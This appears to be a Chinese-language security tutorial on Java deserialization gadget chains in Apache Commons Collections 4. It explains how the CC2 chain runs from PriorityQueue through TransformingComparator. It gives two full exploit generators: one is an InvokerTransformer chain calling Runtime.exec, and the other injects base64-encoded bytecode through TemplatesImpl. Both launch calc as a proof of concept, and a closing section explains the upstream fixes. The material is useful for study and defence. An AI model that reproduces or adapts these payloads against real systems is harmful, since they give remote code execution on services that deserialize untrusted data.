一、概述
4.0版本的CommonsCollections对之前的版本做了一定的更改,那么之前的CC链反序列化再4版本中是否可用呢。
实际上是可用的,比如CC6的链,引入的时候因为⽼的Gadget中依赖的包名都是org.apache.commons.collections ,⽽新的包名已经变
了,是org.apache.commons.collections4 。
我们⽤已经熟悉的CommonsCollections6利⽤链做个例⼦,我们直接把代码拷⻉⼀遍,然后将所有import org.apache.commons.collections.*改成import org.apache.commons.collections4.*
并且新版本中去掉了decorat方法,替代的是lazyMap方法。
其他的代码不需要改变,即可创建出新版本下的利用链。
同理CC1、CC3的链也是一样的调整,修改后均可在commonscollections4中使用。
二、新链
1.CommonsCollections2——PriorityQueu
在CommonsCollections2中用到了两个关键的类:
java.util.PriorityQueue
org.apache.commons.collections4.comparators.TransformingComparator
其中java.util.PriorityQueue的readObject()方法调用了heapify()。
org.apache.commons.collections4.comparators.TransformingComparator中的compare()方法调⽤到transform() ⽅法:
所以,CommonsCollections2实际就是⼀条从PriorityQueue 到TransformingComparator 的利⽤链。
PriorityQueue#readObject()--> heapify() --> siftDown() --> siftDownUsingComparator() --> comparator.compare() --> TransformingComparator#compare()
总结一下:
java.util.PriorityQueue 是⼀个优先队列(Queue),基于⼆叉堆实现,队列中每⼀个元素有⾃⼰的优先级,节点之间按照优先级⼤⼩排序成⼀棵树
反序列化时为什么需要调⽤heapify() ⽅法?为了反序列化后,需要恢复(换⾔之,保证)这个结构的顺序
排序是靠将⼤的元素下移实现的。siftDown() 是将节点下移的函数,⽽comparator.compare() ⽤来⽐较两个元素⼤⼩
TransformingComparator 实现了java.util.Comparator 接⼝,这个接⼝⽤于定义两个对象如何进⾏⽐较。siftDownUsingComparator() 中就使⽤这个接⼝的compare() ⽅法⽐较树的节点。
代码如下:
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
public class CC2 {
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
//创建一个TransformingComparator,传入我们创建的transformerChain
Comparator comparator = new TransformingComparator(transformerChain);
//实例化PriorityQueue 对象,第⼀个参数是初始化时的⼤⼩,⾄少需要2个元素才会触发排序和⽐较,所以是2;第⼆个参数是⽐较时的Comparator,传⼊前⾯实例化的comparator
PriorityQueue queue = new PriorityQueue(2, comparator);
//后⾯随便添加了2个数字进去,这⾥可以传⼊⾮null的任意对象,因为我们的Transformer是忽略传⼊参数的
queue.add(1);
queue.add(2);
//最后,将真正的恶意Transformer设置上
setFieldValue(transformerChain, "iTransformers", transformers);
SeriallizationTest.serizlize(queue);
UnSerializeTest.unserialize("test.bin");
}
}
改造无数组链:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;
public class CC2_TemplatesImpl {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEAH2NvbS9odWF3ZWkvQ2xhc3NMb2FkZXIvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQARAAAAAgAS");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "test");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
//创建⼀个⼈畜⽆害的InvokerTransformer 对象,并⽤它实例化Comparator
Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);
//实例化PriorityQueue 对象,第⼀个参数是初始化时的⼤⼩,⾄少需要2个元素才会触发排序和⽐较,所以是2;第⼆个参数是⽐较时的Comparator,传⼊前⾯实例化的comparator
PriorityQueue queue = new PriorityQueue(2,comparator);
//如何为了我们调试的时候避免发生命令执行,往里面加入两个无用的值。
queue.add(1);
queue.add(1);
//最后,将真正的恶意Transformer设置上
setFieldValue(transformer, "iMethodName", "newTransformer");
//反射获取queue对象中queue的参数强转赋值给queueArray,并且修改其中的值为我们实际的TemplatesImpl对象。
// Field queuefield = queue.getClass().getDeclaredField("queue");
// queuefield.setAccessible(true);
// Object[] queueArray = (Object[]) queuefield.get(queue);
// queueArray[0] = obj;
// queueArray[1] = 1;
setFieldValue(queue, "queue", new Object[]{obj, obj});
// SeriallizationTest.serizlize(queue);
UnSerializeTest.unserialize("test.bin");
}
}
三、思考
1.PriorityQueue的利⽤链是否⽀持在commons-collections 3中使⽤?
答案不能。因为这条利⽤链中的关键类org.apache.commons.collections4.comparators.TransformingComparator ,在commonscollections4.0以前是版本中是没有实现Serializable 接⼝的,⽆法在序列化中使⽤。
2.Apache Commons Collections官⽅是如何修复反序列化漏洞的?
Apache Commons Collections官⽅在2015年底得知序列化相关的问题后,就在两个分⽀上同时发布了新的版本,4.1和3.2.2。
在3.2.2中新版代码中增加了⼀个⽅法FunctorUtils#checkUnsafeSerialization ,⽤于检测反序列化是否安全。如果开发者没有设置全局配置org.apache.commons.collections.enableUnsafeSerialization=true ,即默认情况下会抛出异常。
4.1中,这⼏个危险Transformer类不再实现Serializable 接⼝,也就是说,他们⼏个彻底⽆法序列化和反序列化了。